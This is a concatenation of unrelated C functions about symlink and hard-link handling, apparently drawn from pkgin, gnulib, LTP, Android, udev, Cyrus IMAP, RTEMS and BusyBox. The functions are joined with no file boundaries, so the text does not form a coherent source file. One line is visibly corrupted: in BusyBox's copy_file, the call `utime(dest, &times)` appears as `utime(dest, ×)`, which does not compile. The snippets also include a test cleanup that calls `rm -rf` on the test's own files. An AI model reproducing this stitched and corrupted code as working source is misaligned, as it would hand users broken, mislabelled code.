static int pkg_download(Plisthead *installhead) { FILE *fp; Pkglist *pinstall; struct stat st; char pkg_fs[BUFSIZ], pkg_url[BUFSIZ], query[BUFSIZ]; ssize_t size; int rc = EXIT_SUCCESS; printf(MSG_DOWNLOAD_PKGS); SLIST_FOREACH(pinstall, installhead, next) { snprintf(pkg_fs, BUFSIZ, "%s/%s%s", pkgin_cache, pinstall->depend, PKG_EXT); /* pkg_info -X -a produces pkg_summary with empty FILE_SIZE, * people could spend some time blaming on pkgin before finding * what's really going on. */ if (pinstall->file_size == 0) printf(MSG_EMPTY_FILE_SIZE, pinstall->depend); /* already fully downloaded */ if (stat(pkg_fs, &st) == 0 && st.st_size == pinstall->file_size && pinstall->file_size != 0 ) continue; snprintf(query, BUFSIZ, PKG_URL, pinstall->depend); /* retrieve repository for package */ if (pkgindb_doquery(query, pdb_get_value, pkg_url) != 0) errx(EXIT_FAILURE, MSG_PKG_NO_REPO, pinstall->depend); strlcat(pkg_url, "/", sizeof(pkg_url)); strlcat(pkg_url, pinstall->depend, sizeof(pkg_url)); strlcat(pkg_url, PKG_EXT, sizeof(pkg_url)); /* if pkg's repo URL is file://, just symlink */ if (strncmp(pkg_url, SCHEME_FILE, strlen(SCHEME_FILE)) == 0) { (void)unlink(pkg_fs); if (symlink(&pkg_url[strlen(SCHEME_FILE) + 3], pkg_fs) < 0) errx(EXIT_FAILURE, MSG_SYMLINK_FAILED, pkg_fs); printf(MSG_SYMLINKING_PKG, pkg_url); continue; } umask(DEF_UMASK); if ((fp = fopen(pkg_fs, "w")) == NULL) err(EXIT_FAILURE, MSG_ERR_OPEN, pkg_fs); if ((size = download_pkg(pkg_url, fp)) == -1) { fprintf(stderr, MSG_PKG_NOT_AVAIL, pinstall->depend); rc = EXIT_FAILURE; if (!check_yesno(DEFAULT_NO)) errx(EXIT_FAILURE, MSG_PKG_NOT_AVAIL, pinstall->depend); pinstall->file_size = -1; fclose(fp); continue; } fclose(fp); if (size != pinstall->file_size) { (void)unlink(pkg_fs); errx(EXIT_FAILURE, "download mismatch: %s", pkg_fs); } } /* download loop */
int main (void) { /* Remove any leftovers from a previous partial run. */ ignore_value (system ("rm -rf " BASE "*")); /* Setup. */ ASSERT (mkdir (BASE "dir", 0700) == 0); ASSERT (close (creat (BASE "dir/file", 0600)) == 0); /* Basic error conditions. */ errno = 0; ASSERT (remove ("") == -1); ASSERT (errno == ENOENT); errno = 0; ASSERT (remove ("nosuch") == -1); ASSERT (errno == ENOENT); errno = 0; ASSERT (remove ("nosuch/") == -1); ASSERT (errno == ENOENT); errno = 0; ASSERT (remove (".") == -1); ASSERT (errno == EINVAL || errno == EBUSY); /* Resulting errno after ".." or "/" is too varied to test; it is reasonable to see any of EINVAL, EEXIST, ENOTEMPTY, EACCES. */ ASSERT (remove ("..") == -1); ASSERT (remove ("/") == -1); ASSERT (remove ("///") == -1); errno = 0; ASSERT (remove (BASE "dir/file/") == -1); ASSERT (errno == ENOTDIR); /* Non-empty directory. */ errno = 0; ASSERT (remove (BASE "dir") == -1); ASSERT (errno == EEXIST || errno == ENOTEMPTY); /* Non-directory. */ ASSERT (remove (BASE "dir/file") == 0); /* Empty directory. */ errno = 0; ASSERT (remove (BASE "dir/.//") == -1); ASSERT (errno == EINVAL || errno == EBUSY); ASSERT (remove (BASE "dir") == 0); /* Test symlink behavior. Specifying trailing slash should remove referent directory, or cause ENOTDIR failure, but not touch symlink. */ if (symlink (BASE "dir", BASE "link") != 0) { fputs ("skipping test: symlinks not supported on this file system\n", stderr); return 77; } ASSERT (mkdir (BASE "dir", 0700) == 0); errno = 0; if (remove (BASE "link/") == 0) { struct stat st; errno = 0; ASSERT (stat (BASE "link", &st) == -1); ASSERT (errno == ENOENT); } else ASSERT (remove (BASE "dir") == 0); { struct stat st; ASSERT (lstat (BASE "link", &st) == 0); ASSERT (S_ISLNK (st.st_mode)); } ASSERT (remove (BASE "link") == 0); /* Trailing slash on symlink to non-directory is an error. */ ASSERT (symlink (BASE "loop", BASE "loop") == 0); errno = 0; ASSERT (remove (BASE "loop/") == -1); ASSERT (errno == ELOOP || errno == ENOTDIR); ASSERT (remove (BASE "loop") == 0); ASSERT (close (creat (BASE "file", 0600)) == 0); ASSERT (symlink (BASE "file", BASE "link") == 0); errno = 0; ASSERT (remove (BASE "link/") == -1); ASSERT (errno == ENOTDIR); ASSERT (remove (BASE "link") == 0); ASSERT (remove (BASE "file") == 0); return 0; }
void setup_every_copy() { int i; char tmpfilename[256] = ""; /* Initialize test dir and file names */ sprintf(pathname, "readlinkattestdir%d", getpid()); sprintf(dpathname, "dreadlinkattestdir%d", getpid()); sprintf(testfile, "readlinkattestfile%d.txt", getpid()); sprintf(dtestfile, "dreadlinkattestfile%d.txt", getpid()); sprintf(testfile2, "readlinkattestdir%d/readlinkattestfile%d.txt", getpid(), getpid()); sprintf(dtestfile2, "dreadlinkattestdir%d/dreadlinkattestfile%d.txt", getpid(), getpid()); sprintf(testfile3, "/tmp/readlinkattestfile%d.txt", getpid()); sprintf(dtestfile3, "/tmp/dreadlinkattestfile%d.txt", getpid()); ret = mkdir(pathname, 0700); if (ret < 0) { perror("mkdir: "); exit(-1); } ret = mkdir(dpathname, 0700); if (ret < 0) { perror("mkdir: "); exit(-1); } dirfd = open(dpathname, O_DIRECTORY); if (dirfd < 0) { perror("open: "); exit(-1); } fd = open(testfile, O_CREAT | O_RDWR, 0600); if (fd < 0) { perror("open: "); exit(-1); } ret = symlink(testfile, dtestfile); if (ret < 0) { perror("symlink: "); exit(-1); } fd = open(testfile2, O_CREAT | O_RDWR, 0600); if (fd < 0) { perror("open: "); exit(-1); } tmpfilename[0] = '\0'; strcat(strcat(tmpfilename, "../"), testfile2); ret = symlink(tmpfilename, dtestfile2); if (ret < 0) { perror("symlink: "); exit(-1); } fd = open(testfile3, O_CREAT | O_RDWR, 0600); if (fd < 0) { perror("open: "); exit(-1); } ret = symlink(testfile3, dtestfile3); if (ret < 0) { perror("symlink: "); exit(-1); } fds[0] = fds[1] = dirfd; fds[2] = fd; fds[3] = 100; fds[4] = AT_FDCWD; filenames[0] = filenames[2] = filenames[3] = filenames[4] = dtestfile; filenames[1] = dtestfile3; for (i = 0; i < TEST_CASES; i++) expected_buff[i][0] = '\0'; strcat(strcat(expected_buff[0], "../"), testfile2); strcat(expected_buff[1], testfile3); strcat(expected_buff[2], ""); strcat(expected_buff[3], ""); strcat(expected_buff[4], testfile); }
void setup_data_media() { rmdir("/sdcard"); mkdir("/data/media", 0755); symlink("/data/media", "/sdcard"); }
static int node_symlink(struct udev_device *dev, const char *node, const char *slink) { struct stat stats; char target[UTIL_PATH_SIZE]; char *s; size_t l; char slink_tmp[UTIL_PATH_SIZE + 32]; int i = 0; int tail = 0; int err = 0; /* use relative link */ target[0] = '\0'; while (node[i] && (node[i] == slink[i])) { if (node[i] == '/') tail = i+1; i++; } s = target; l = sizeof(target); while (slink[i] != '\0') { if (slink[i] == '/') l = strpcpy(&s, l, "../"); i++; } l = strscpy(s, l, &node[tail]); if (l == 0) { err = -EINVAL; goto exit; } /* preserve link with correct target, do not replace node of other device */ if (lstat(slink, &stats) == 0) { if (S_ISBLK(stats.st_mode) || S_ISCHR(stats.st_mode)) { log_error("conflicting device node '%s' found, link to '%s' will not be created", slink, node); goto exit; } else if (S_ISLNK(stats.st_mode)) { char buf[UTIL_PATH_SIZE]; int len; len = readlink(slink, buf, sizeof(buf)); if (len > 0 && len < (int)sizeof(buf)) { buf[len] = '\0'; if (streq(target, buf)) { log_debug("preserve already existing symlink '%s' to '%s'", slink, target); label_fix(slink, true, false); utimensat(AT_FDCWD, slink, NULL, AT_SYMLINK_NOFOLLOW); goto exit; } } } } else { log_debug("creating symlink '%s' to '%s'", slink, target); do { err = mkdir_parents_label(slink, 0755); if (err != 0 && err != -ENOENT) break; mac_selinux_create_file_prepare(slink, S_IFLNK); err = symlink(target, slink); if (err != 0) err = -errno; mac_selinux_create_file_clear(); } while (err == -ENOENT); if (err == 0) goto exit; } log_debug("atomically replace '%s'", slink); strscpyl(slink_tmp, sizeof(slink_tmp), slink, ".tmp-", udev_device_get_id_filename(dev), NULL); unlink(slink_tmp); do { err = mkdir_parents_label(slink_tmp, 0755); if (err != 0 && err != -ENOENT) break; mac_selinux_create_file_prepare(slink_tmp, S_IFLNK); err = symlink(target, slink_tmp); if (err != 0) err = -errno; mac_selinux_create_file_clear(); } while (err == -ENOENT); if (err != 0) { log_error_errno(errno, "symlink '%s' '%s' failed: %m", target, slink_tmp); goto exit; } err = rename(slink_tmp, slink); if (err != 0) { log_error_errno(errno, "rename '%s' '%s' failed: %m", slink_tmp, slink); unlink(slink_tmp); } exit: return err; }
int main(int argc, char **argv) { int opt, r = 0; char *alt_config = NULL, *pub = NULL, *ver = NULL, *winfile = NULL; char prefix[2048]; enum { REBUILD, WINZONES, NONE } op = NONE; if ((geteuid()) == 0 && (become_cyrus(/*ismaster*/0) != 0)) { fatal("must run as the Cyrus user", EC_USAGE); } while ((opt = getopt(argc, argv, "C:r:vw:")) != EOF) { switch (opt) { case 'C': /* alt config file */ alt_config = optarg; break; case 'r': if (op == NONE) { op = REBUILD; pub = optarg; ver = strchr(optarg, ':'); if (ver) *ver++ = '\0'; else usage(); } else usage(); break; case 'v': verbose = 1; break; case 'w': if (op == NONE) { op = WINZONES; winfile = optarg; } else usage(); break; default: usage(); } } cyrus_init(alt_config, "ctl_zoneinfo", 0, 0); signals_set_shutdown(&shut_down); signals_add_handlers(0); snprintf(prefix, sizeof(prefix), "%s%s", config_dir, FNAME_ZONEINFODIR); switch (op) { case REBUILD: { struct hash_table tzentries; struct zoneinfo *info; struct txn *tid = NULL; char buf[1024]; FILE *fp; construct_hash_table(&tzentries, 500, 1); /* Add INFO record (overall lastmod and TZ DB source version) */ info = xzmalloc(sizeof(struct zoneinfo)); info->type = ZI_INFO; appendstrlist(&info->data, pub); appendstrlist(&info->data, ver); hash_insert(INFO_TZID, info, &tzentries); /* Add LEAP record (last updated and hash) */ snprintf(buf, sizeof(buf), "%s%s", prefix, FNAME_LEAPSECFILE); if (verbose) printf("Processing leap seconds file %s\n", buf); if (!(fp = fopen(buf, "r"))) { fprintf(stderr, "Could not open leap seconds file %s\n", buf); } else { struct zoneinfo *leap = xzmalloc(sizeof(struct zoneinfo)); leap->type = ZI_INFO; while(fgets(buf, sizeof(buf), fp)) { if (buf[0] == '#') { /* comment line */ if (buf[1] == '$') { /* last updated */ unsigned long last; sscanf(buf+2, "\t%lu", &last); leap->dtstamp = last - NIST_EPOCH_OFFSET; } else if (buf[1] == 'h') { /* hash */ char *p, *hash = buf+3 /* skip "#h\t" */; /* trim trailing whitespace */ for (p = hash + strlen(hash); isspace(*--p); *p = '\0'); appendstrlist(&leap->data, hash); } } } fclose(fp); hash_insert(LEAP_TZID, leap, &tzentries); info->dtstamp = leap->dtstamp; } /* Add ZONE/LINK records */ do_zonedir(prefix, &tzentries, info); zoneinfo_open(NULL); /* Store records */ hash_enumerate(&tzentries, &store_zoneinfo, &tid); zoneinfo_close(tid); free_hash_table(&tzentries, &free_zoneinfo); break; } case WINZONES: { xmlParserCtxtPtr ctxt; xmlDocPtr doc; xmlNodePtr node; struct buf tzidbuf = BUF_INITIALIZER; struct buf aliasbuf = BUF_INITIALIZER; if (verbose) printf("Processing Windows Zone file %s\n", winfile); /* Parse the XML file */ ctxt = xmlNewParserCtxt(); if (!ctxt) { fprintf(stderr, "Failed to create XML parser context\n"); break; } doc = xmlCtxtReadFile(ctxt, winfile, NULL, 0); xmlFreeParserCtxt(ctxt); if (!doc) { fprintf(stderr, "Failed to parse XML document\n"); break; } node = xmlDocGetRootElement(doc); if (!node || xmlStrcmp(node->name, BAD_CAST "supplementalData")) { fprintf(stderr, "Incorrect root node\n"); goto done; } for (node = xmlFirstElementChild(node); node && xmlStrcmp(node->name, BAD_CAST "windowsZones"); node = xmlNextElementSibling(node)); if (!node) { fprintf(stderr, "Missing windowsZones node\n"); goto done; } node = xmlFirstElementChild(node); if (!node || xmlStrcmp(node->name, BAD_CAST "mapTimezones")) { fprintf(stderr, "Missing mapTimezones node\n"); goto done; } if (chdir(prefix)) { fprintf(stderr, "chdir(%s) failed\n", prefix); goto done; } for (node = xmlFirstElementChild(node); node; node = xmlNextElementSibling(node)) { if (!xmlStrcmp(node->name, BAD_CAST "mapZone") && !xmlStrcmp(xmlGetProp(node, BAD_CAST "territory"), BAD_CAST "001")) { const char *tzid, *alias; buf_setcstr(&tzidbuf, (const char *) xmlGetProp(node, BAD_CAST "type")); buf_appendcstr(&tzidbuf, ".ics"); tzid = buf_cstring(&tzidbuf); buf_setcstr(&aliasbuf, (const char *) xmlGetProp(node, BAD_CAST "other")); buf_appendcstr(&aliasbuf, ".ics"); alias = buf_cstring(&aliasbuf); if (verbose) printf("\tLINK: %s -> %s\n", alias, tzid); if (symlink(tzid, alias)) { if (errno == EEXIST) { struct stat sbuf; if (stat(alias, &sbuf)) { fprintf(stderr, "stat(%s) failed: %s\n", alias, strerror(errno)); errno = EEXIST; } else if (sbuf.st_mode & S_IFLNK) { char link[MAX_MAILBOX_PATH+1]; int n = readlink(alias, link, MAX_MAILBOX_PATH); if (n == -1) { fprintf(stderr, "readlink(%s) failed: %s\n", alias, strerror(errno)); errno = EEXIST; } else if (n == (int) strlen(tzid) && !strncmp(tzid, link, n)) { errno = 0; } } } if (errno) { fprintf(stderr, "symlink(%s, %s) failed: %s\n", tzid, alias, strerror(errno)); } } } } done: buf_free(&aliasbuf); buf_free(&tzidbuf); xmlFreeDoc(doc); break; } case NONE: r = 2; usage(); break; } cyrus_done(); return r; }
rtems_task Init( rtems_task_argument argument ) { int status = 0; void *alloc_ptr = (void *)0; char linkname_n[20] = {0}; char linkname_p[20] = {0}; int i; struct stat stat_buf; puts( "\n\n*** TEST IMFS 02 ***" ); puts( "Creating directory /dir00" ); status = mkdir( "/dir00", S_IRWXU ); rtems_test_assert( status == 0 ); puts( "Creating directory /dir00/dir01" ); status = mkdir( "/dir00/dir01", S_IRWXU ); rtems_test_assert( status == 0 ); puts( "Changing directory to /dir00" ); status = chdir( "/dir00" ); rtems_test_assert( status == 0 ); puts( "Creating link dir01-link0 for dir01" ); status = link( "dir01", "dir01-link0" ); rtems_test_assert( status == 0 ); for( i = 1 ; ; ++i ) { sprintf( linkname_p, "dir01-link%d", i-1 ); sprintf( linkname_n, "dir01-link%d", i ); printf( "\nCreating link %s for %s\n", linkname_n, linkname_p ); status = link( linkname_p, linkname_n ); if( status != 0 ) { puts("Link creation failed" ); break; } } puts( "Creating a regular node /node, RDONLY" ); status = mknod( "/node", S_IFREG | S_IRUSR, 0LL ); rtems_test_assert( status == 0 ); puts( "Creating link /node-link for /node" ); status = link( "/node" , "/node-link" ); rtems_test_assert( status == 0 ); puts( "Opening /node-link in WRONLY mode -- expect EACCES" ); status = open( "/node-link", O_WRONLY ); rtems_test_assert( status == -1 ); rtems_test_assert( errno == EACCES ); puts( "Creating a symlink /node-slink for /node" ); status = symlink( "/node" , "/node-slink" ); rtems_test_assert( status == 0 ); puts( "Opening /node-slink in WRONLY mode -- expect EACCES" ); status = open( "/node-slink", O_WRONLY ); rtems_test_assert( status == -1 ); rtems_test_assert( errno == EACCES ); puts( "Allocate most of heap" ); alloc_ptr = malloc( malloc_free_space() - 150 ); puts( "Attempt to mount a fs at /dir01 -- expect ENOMEM" ); status = mount( NULL, "dir01", "imfs", RTEMS_FILESYSTEM_READ_WRITE, NULL ); rtems_test_assert( status == -1 ); rtems_test_assert( errno == ENOMEM ); puts( "Freeing allocated memory" ); free( alloc_ptr ); puts( "Allocate most of heap" ); alloc_ptr = malloc( malloc_free_space() - 4 ); puts( "Changing directory to /" ); status = chdir( "/" ); rtems_test_assert( status == 0 ); puts( "Attempt to create /node-link-2 for /node -- expect ENOMEM" ); status = link( "/node", "/node-link-2" ); rtems_test_assert( status == -1 ); rtems_test_assert( errno == ENOMEM ); puts( "Attempt to create /node-slink-2 for /node -- expect ENOMEM" ); status = symlink( "/node", "node-slink-2" ); rtems_test_assert( status == -1 ); rtems_test_assert( errno == ENOMEM ); puts( "Freeing allocated memory" ); free( alloc_ptr ); puts( "Allocate most of heap" ); alloc_ptr = malloc( malloc_free_space() - 40 ); puts( "Attempt to create /node-slink-2 for /node -- expect ENOMEM" ); status = symlink( "/node", "node-slink-2" ); rtems_test_assert( status == -1 ); rtems_test_assert( errno == ENOMEM ); puts( "Freeing allocated memory" ); free( alloc_ptr ); puts( "Attempt to stat a hardlink -- expect ENOTSUP" ); status = lstat( "/node-link", &stat_buf ); rtems_test_assert( status == -1 ); rtems_test_assert( errno == ENOTSUP ); puts( "Changing euid to 10" ); status = seteuid( 10 ); rtems_test_assert( status == 0 ); #if defined(RTEMS_POSIX_API) puts( "Attempt chmod on /node -- expect EPERM" ); status = chmod( "/node", S_IRUSR ); rtems_test_assert( status == -1 ); rtems_test_assert( errno == EPERM ); puts( "Attempt chown on /node -- expect EPERM" ); status = chown( "/node", 10, 10 ); rtems_test_assert( status == -1 ); rtems_test_assert( errno == EPERM ); #else puts( "Attempt chmod on /node -- EPERM only when POSIX enabled" ); puts( "Attempt chown on /node -- EPERM only when POSIX enabled" ); #endif puts( "Changing euid back to 0 [root]" ); status = seteuid( 0 ); rtems_test_assert( status == 0 ); puts( "Creating a fifo -- OK" ); status = mkfifo( "/fifo", S_IRWXU ); rtems_test_assert( status == 0 ); IMFS_dump(); puts( "chown /fifo to 10 -- OK" ); status = chown( "/fifo", 10, 10 ); rtems_test_assert( status == 0 ); puts( "Changing euid to 10" ); status = seteuid( 10 ); rtems_test_assert( status == 0 ); puts( "chmod /fifo -- OK" ); status = chmod( "/fifo", S_IRWXU ); rtems_test_assert( status == 0 ); printk( "chown /fifo to %o -- OK", 0 ); status = chown( "/fifo", 0, 0 ); rtems_test_assert( status == 0 ); puts( "*** END OF TEST IMFS 02 ***" ); rtems_test_exit(0); }
int copy_file(const char *source, const char *dest, int flags) { struct stat source_stat; struct stat dest_stat; int status = 0; signed char dest_exists = 0; signed char ovr; #define FLAGS_DEREF (flags & FILEUTILS_DEREFERENCE) if ((FLAGS_DEREF ? stat : lstat)(source, &source_stat) < 0) { // This may be a dangling symlink. // Making [sym]links to dangling symlinks works, so... if (flags & (FILEUTILS_MAKE_SOFTLINK|FILEUTILS_MAKE_HARDLINK)) goto make_links; bb_perror_msg("cannot stat '%s'", source); return -1; } if (lstat(dest, &dest_stat) < 0) { if (errno != ENOENT) { bb_perror_msg("cannot stat '%s'", dest); return -1; } } else { if (source_stat.st_dev == dest_stat.st_dev && source_stat.st_ino == dest_stat.st_ino ) { bb_error_msg("'%s' and '%s' are the same file", source, dest); return -1; } dest_exists = 1; } if (S_ISDIR(source_stat.st_mode)) { DIR *dp; struct dirent *d; mode_t saved_umask = 0; if (!(flags & FILEUTILS_RECUR)) { bb_error_msg("omitting directory '%s'", source); return -1; } /* Create DEST. */ if (dest_exists) { if (!S_ISDIR(dest_stat.st_mode)) { bb_error_msg("target '%s' is not a directory", dest); return -1; } } else { mode_t mode; saved_umask = umask(0); mode = source_stat.st_mode; if (!(flags & FILEUTILS_PRESERVE_STATUS)) mode = source_stat.st_mode & ~saved_umask; mode |= S_IRWXU; if (mkdir(dest, mode) < 0) { umask(saved_umask); bb_perror_msg("cannot create directory '%s'", dest); return -1; } umask(saved_umask); } /* Recursively copy files in SOURCE. */ dp = opendir(source); if (dp == NULL) { status = -1; goto preserve_status; } while ((d = readdir(dp)) != NULL) { char *new_source, *new_dest; new_source = concat_subpath_file(source, d->d_name); if (new_source == NULL) continue; new_dest = concat_path_file(dest, d->d_name); if (copy_file(new_source, new_dest, flags) < 0) status = -1; free(new_source); free(new_dest); } closedir(dp); if (!dest_exists && chmod(dest, source_stat.st_mode & ~saved_umask) < 0 ) { bb_perror_msg("cannot change permissions of '%s'", dest); status = -1; } } else if (flags & (FILEUTILS_MAKE_SOFTLINK|FILEUTILS_MAKE_HARDLINK)) { int (*lf)(const char *oldpath, const char *newpath); make_links: // Hmm... maybe // if (DEREF && MAKE_SOFTLINK) source = realpath(source) ? // (but realpath returns NULL on dangling symlinks...) lf = (flags & FILEUTILS_MAKE_SOFTLINK) ? symlink : link; if (lf(source, dest) < 0) { ovr = retry_overwrite(dest, flags); if (ovr <= 0) return ovr; if (lf(source, dest) < 0) { bb_perror_msg("cannot create link '%s'", dest); return -1; } } return 0; } else if (S_ISREG(source_stat.st_mode) // Huh? DEREF uses stat, which never returns links IIRC... || (FLAGS_DEREF && S_ISLNK(source_stat.st_mode)) ) { int src_fd; int dst_fd; if (ENABLE_FEATURE_PRESERVE_HARDLINKS) { char *link_name; if (!FLAGS_DEREF && is_in_ino_dev_hashtable(&source_stat, &link_name) ) { if (link(link_name, dest) < 0) { ovr = retry_overwrite(dest, flags); if (ovr <= 0) return ovr; if (link(link_name, dest) < 0) { bb_perror_msg("cannot create link '%s'", dest); return -1; } } return 0; } // TODO: probably is_in_.. and add_to_... // can be combined: find_or_add_... add_to_ino_dev_hashtable(&source_stat, dest); } src_fd = open(source, O_RDONLY); if (src_fd == -1) { bb_perror_msg("cannot open '%s'", source); return -1; } // POSIX: if exists and -i, ask (w/o -i assume yes). // Then open w/o EXCL. // If open still fails and -f, try unlink, then try open again. // Result: a mess: // If dest is a softlink, we overwrite softlink's destination! // (or fail, if it points to dir/nonexistent location/etc). // This is strange, but POSIX-correct. // coreutils cp has --remove-destination to override this... dst_fd = open(dest, (flags & FILEUTILS_INTERACTIVE) ? O_WRONLY|O_CREAT|O_TRUNC|O_EXCL : O_WRONLY|O_CREAT|O_TRUNC, source_stat.st_mode); if (dst_fd == -1) { // We would not do POSIX insanity. -i asks, // then _unlinks_ the offender. Presto. // Or else we will end up having 3 open()s! ovr = retry_overwrite(dest, flags); if (ovr <= 0) { close(src_fd); return ovr; } dst_fd = open(dest, O_WRONLY|O_CREAT|O_TRUNC, source_stat.st_mode); if (dst_fd == -1) { bb_perror_msg("cannot open '%s'", dest); close(src_fd); return -1; } } if (bb_copyfd_eof(src_fd, dst_fd) == -1) status = -1; if (close(dst_fd) < 0) { bb_perror_msg("cannot close '%s'", dest); status = -1; } if (close(src_fd) < 0) { bb_perror_msg("cannot close '%s'", source); status = -1; } } else if (S_ISBLK(source_stat.st_mode) || S_ISCHR(source_stat.st_mode) || S_ISSOCK(source_stat.st_mode) || S_ISFIFO(source_stat.st_mode) || S_ISLNK(source_stat.st_mode) ) { // We are lazy here, a bit lax with races... if (dest_exists) { ovr = retry_overwrite(dest, flags); if (ovr <= 0) return ovr; } if (S_ISFIFO(source_stat.st_mode)) { if (mkfifo(dest, source_stat.st_mode) < 0) { bb_perror_msg("cannot create fifo '%s'", dest); return -1; } } else if (S_ISLNK(source_stat.st_mode)) { char *lpath; lpath = xreadlink(source); if (symlink(lpath, dest) < 0) { bb_perror_msg("cannot create symlink '%s'", dest); free(lpath); return -1; } free(lpath); if (flags & FILEUTILS_PRESERVE_STATUS) if (lchown(dest, source_stat.st_uid, source_stat.st_gid) < 0) bb_perror_msg("cannot preserve %s of '%s'", "ownership", dest); return 0; } else { if (mknod(dest, source_stat.st_mode, source_stat.st_rdev) < 0) { bb_perror_msg("cannot create '%s'", dest); return -1; } } } else { bb_error_msg("internal error: unrecognized file type"); return -1; } preserve_status: if (flags & FILEUTILS_PRESERVE_STATUS /* Cannot happen: */ /* && !(flags & (FILEUTILS_MAKE_SOFTLINK|FILEUTILS_MAKE_HARDLINK)) */ ) { struct utimbuf times; times.actime = source_stat.st_atime; times.modtime = source_stat.st_mtime; if (utime(dest, ×) < 0) bb_perror_msg("cannot preserve %s of '%s'", "times", dest); if (chown(dest, source_stat.st_uid, source_stat.st_gid) < 0) { source_stat.st_mode &= ~(S_ISUID | S_ISGID); bb_perror_msg("cannot preserve %s of '%s'", "ownership", dest); } if (chmod(dest, source_stat.st_mode) < 0) bb_perror_msg("cannot preserve %s of '%s'", "permissions", dest); } return status; }
void FAST_FUNC data_extract_all(archive_handle_t *archive_handle) { file_header_t *file_header = archive_handle->file_header; int dst_fd; int res; #if ENABLE_FEATURE_TAR_SELINUX char *sctx = archive_handle->tar__next_file_sctx; if (!sctx) sctx = archive_handle->tar__global_sctx; if (sctx) { /* setfscreatecon is 4 syscalls, avoid if possible */ setfscreatecon(sctx); free(archive_handle->tar__next_file_sctx); archive_handle->tar__next_file_sctx = NULL; } #endif if (archive_handle->ah_flags & ARCHIVE_CREATE_LEADING_DIRS) { char *slash = strrchr(file_header->name, '/'); if (slash) { *slash = '\0'; bb_make_directory(file_header->name, -1, FILEUTILS_RECUR); *slash = '/'; } } if (archive_handle->ah_flags & ARCHIVE_UNLINK_OLD) { /* Remove the entry if it exists */ if (!S_ISDIR(file_header->mode)) { /* Is it hardlink? * We encode hard links as regular files of size 0 with a symlink */ if (S_ISREG(file_header->mode) && file_header->link_target && file_header->size == 0 ) { /* Ugly special case: * tar cf t.tar hardlink1 hardlink2 hardlink1 * results in this tarball structure: * hardlink1 * hardlink2 -> hardlink1 * hardlink1 -> hardlink1 <== !!! */ if (strcmp(file_header->link_target, file_header->name) == 0) goto ret; } /* Proceed with deleting */ if (unlink(file_header->name) == -1 && errno != ENOENT ) { bb_perror_msg_and_die("can't remove old file %s", file_header->name); } } } else if (archive_handle->ah_flags & ARCHIVE_EXTRACT_NEWER) { /* Remove the existing entry if its older than the extracted entry */ struct stat existing_sb; if (lstat(file_header->name, &existing_sb) == -1) { if (errno != ENOENT) { bb_perror_msg_and_die("can't stat old file"); } } else if (existing_sb.st_mtime >= file_header->mtime) { if (!(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET) && !S_ISDIR(file_header->mode) ) { bb_error_msg("%s not created: newer or " "same age file exists", file_header->name); } data_skip(archive_handle); goto ret; } else if ((unlink(file_header->name) == -1) && (errno != EISDIR)) { bb_perror_msg_and_die("can't remove old file %s", file_header->name); } } /* Handle hard links separately * We encode hard links as regular files of size 0 with a symlink */ if (S_ISREG(file_header->mode) && file_header->link_target && file_header->size == 0 ) { /* hard link */ res = link(file_header->link_target, file_header->name); if ((res == -1) && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET)) { bb_perror_msg("can't create %slink " "from %s to %s", "hard", file_header->name, file_header->link_target); } /* Hardlinks have no separate mode/ownership, skip chown/chmod */ goto ret; } /* Create the filesystem entry */ switch (file_header->mode & S_IFMT) { case S_IFREG: { /* Regular file */ int flags = O_WRONLY | O_CREAT | O_EXCL; if (archive_handle->ah_flags & ARCHIVE_O_TRUNC) flags = O_WRONLY | O_CREAT | O_TRUNC; dst_fd = xopen3(file_header->name, flags, file_header->mode ); bb_copyfd_exact_size(archive_handle->src_fd, dst_fd, file_header->size); close(dst_fd); break; } case S_IFDIR: res = mkdir(file_header->name, file_header->mode); if ((res == -1) && (errno != EISDIR) /* btw, Linux doesn't return this */ && (errno != EEXIST) && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET) ) { bb_perror_msg("can't make dir %s", file_header->name); } break; case S_IFLNK: /* Symlink */ //TODO: what if file_header->link_target == NULL (say, corrupted tarball?) res = symlink(file_header->link_target, file_header->name); if ((res == -1) && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET) ) { bb_perror_msg("can't create %slink " "from %s to %s", "sym", file_header->name, file_header->link_target); } break; case S_IFSOCK: case S_IFBLK: case S_IFCHR: case S_IFIFO: res = mknod(file_header->name, file_header->mode, file_header->device); if ((res == -1) && !(archive_handle->ah_flags & ARCHIVE_EXTRACT_QUIET) ) { bb_perror_msg("can't create node %s", file_header->name); } break; default: bb_error_msg_and_die("unrecognized file type"); } if (!S_ISLNK(file_header->mode)) { if (!(archive_handle->ah_flags & ARCHIVE_DONT_RESTORE_OWNER)) { uid_t uid = file_header->uid; gid_t gid = file_header->gid; #if ENABLE_FEATURE_TAR_UNAME_GNAME if (!(archive_handle->ah_flags & ARCHIVE_NUMERIC_OWNER)) { if (file_header->tar__uname) { //TODO: cache last name/id pair? struct passwd *pwd = getpwnam(file_header->tar__uname); if (pwd) uid = pwd->pw_uid; } if (file_header->tar__gname) { struct group *grp = getgrnam(file_header->tar__gname); if (grp) gid = grp->gr_gid; } } #endif /* GNU tar 1.15.1 uses chown, not lchown */ chown(file_header->name, uid, gid); } /* uclibc has no lchmod, glibc is even stranger - * it has lchmod which seems to do nothing! * so we use chmod... */ if (!(archive_handle->ah_flags & ARCHIVE_DONT_RESTORE_PERM)) { chmod(file_header->name, file_header->mode); } if (archive_handle->ah_flags & ARCHIVE_RESTORE_DATE) { struct timeval t[2]; t[1].tv_sec = t[0].tv_sec = file_header->mtime; t[1].tv_usec = t[0].tv_usec = 0; utimes(file_header->name, t); } } ret: ; #if ENABLE_FEATURE_TAR_SELINUX if (sctx) { /* reset the context after creating an entry */ setfscreatecon(NULL); } #endif }
